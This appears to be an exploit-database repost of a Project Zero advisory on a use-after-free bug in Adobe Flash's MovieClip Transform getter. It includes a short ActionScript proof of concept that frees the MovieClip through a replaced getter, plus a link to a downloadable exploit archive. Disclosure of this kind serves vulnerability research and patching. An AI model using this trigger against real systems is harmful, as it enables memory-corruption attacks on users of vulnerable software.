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Adobe Flash - MovieClip Transform Getter Use-After-Free
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=844
There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows:
var mc = this.createEmptyMovieClip( "mc", 1);
var tf = flash.geom.Transform;
var g = flash.geom;
g.addProperty("Transform", func, func);
mc.f = ASnative(900, 419);
mc.f();
function func(){
mc.removeMovieClip();
// Fix heap
}
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40311.zip
# 0day.today [2024-06-30] #